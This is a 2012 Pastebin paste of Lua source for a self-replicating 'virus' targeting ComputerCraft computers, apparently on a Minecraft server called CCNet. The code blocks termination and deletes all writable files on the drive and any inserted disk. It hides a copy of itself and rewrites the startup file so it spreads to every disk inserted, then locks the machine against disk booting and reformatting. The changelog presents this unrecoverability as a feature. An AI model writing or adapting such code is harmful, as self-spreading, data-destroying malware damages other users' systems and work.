KinoftheFlames

Untitled

Sep 19th, 2012
99
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 1.91 KB | None | 0 0
  1. -- CCNetV - A virus for CCNet (EpicCoderz server)
  2. -- by KinoftheFlames
  3.  
  4. local VERSION = "v1.1_1"
  5.  
  6. --CHANGELOG
  7. --[[
  8. v1.1_1
  9. ---------
  10. - hide replication file
  11. - disable "formatting" hdd by destroying and placing PC/Turtle block
  12.  
  13. v1.1
  14. ---------
  15. - limitted replication
  16. - delete disk contents too
  17. - fancied up the output a bit
  18. - added pushing .nodisk - making the computer unrecoverable (besides mining it)
  19.  
  20. v1.0
  21. ---------
  22. EVERYTHING
  23. ]]
  24.  
  25. os.pullEvent = os.pullEventRaw
  26. print("Welcome to CCNet Virus "..VERSION.."!")
  27.  
  28. --delete files on hdd
  29. if #fs.list("") > 0 then
  30.     for i,file in ipairs(fs.list("")) do
  31.         if not fs.isReadOnly(file) and file ~= "disk" and file ~= shell.getRunningProgram() then
  32.             fs.delete(file)
  33.             print("Deleting "..file.."...")
  34.         end
  35.     end
  36.    
  37.     --copy virus to hdd
  38.     fs.copy(shell.getRunningProgram(), ".CCNetV")
  39.    
  40.     --delete files on disk
  41.     if fs.exists("disk") then
  42.         for j,file in ipairs(fs.list("disk")) do
  43.             local filepath = "disk/"..file
  44.             if not fs.isReadOnly(filepath) and filepath ~= shell.getRunningProgram() then
  45.                 fs.delete("disk/"..file)
  46.                 print("Deleting disk/"..file.."...")
  47.             end
  48.         end
  49.     end
  50.    
  51.     --create startup file on hdd that spreads the virus to any disk inserted
  52.     local startup = fs.open("startup", "w")
  53.     startup.writeLine('if fs.exists("disk") and fs.exists(".CCNetV") then')
  54.     startup.writeLine(' fs.delete("disk/startup")')
  55.     startup.writeLine(' fs.copy(".CCNetV", "disk/startup")')
  56.     startup.writeLine('end')
  57.     startup.writeLine('os.shutdown()')
  58.     startup.close()
  59.    
  60.     --create .nodisk file on hdd, preventing disk booting
  61.     local nodisk = fs.open(".nodisk", "w")
  62.     nodisk.write("")
  63.     nodisk.close()
  64.    
  65.     --creates a label for the computer, blocking a hdd format by breaking and placing the block
  66.     shell.run("label","set",":(")
  67.    
  68.     print("Thank you for your patronage!")
  69.     print("This monitor will die forever in 10 seconds.")
  70.     os.sleep(10)
  71.     os.shutdown()
  72. end
Advertisement
Add Comment
Please, Sign In to add comment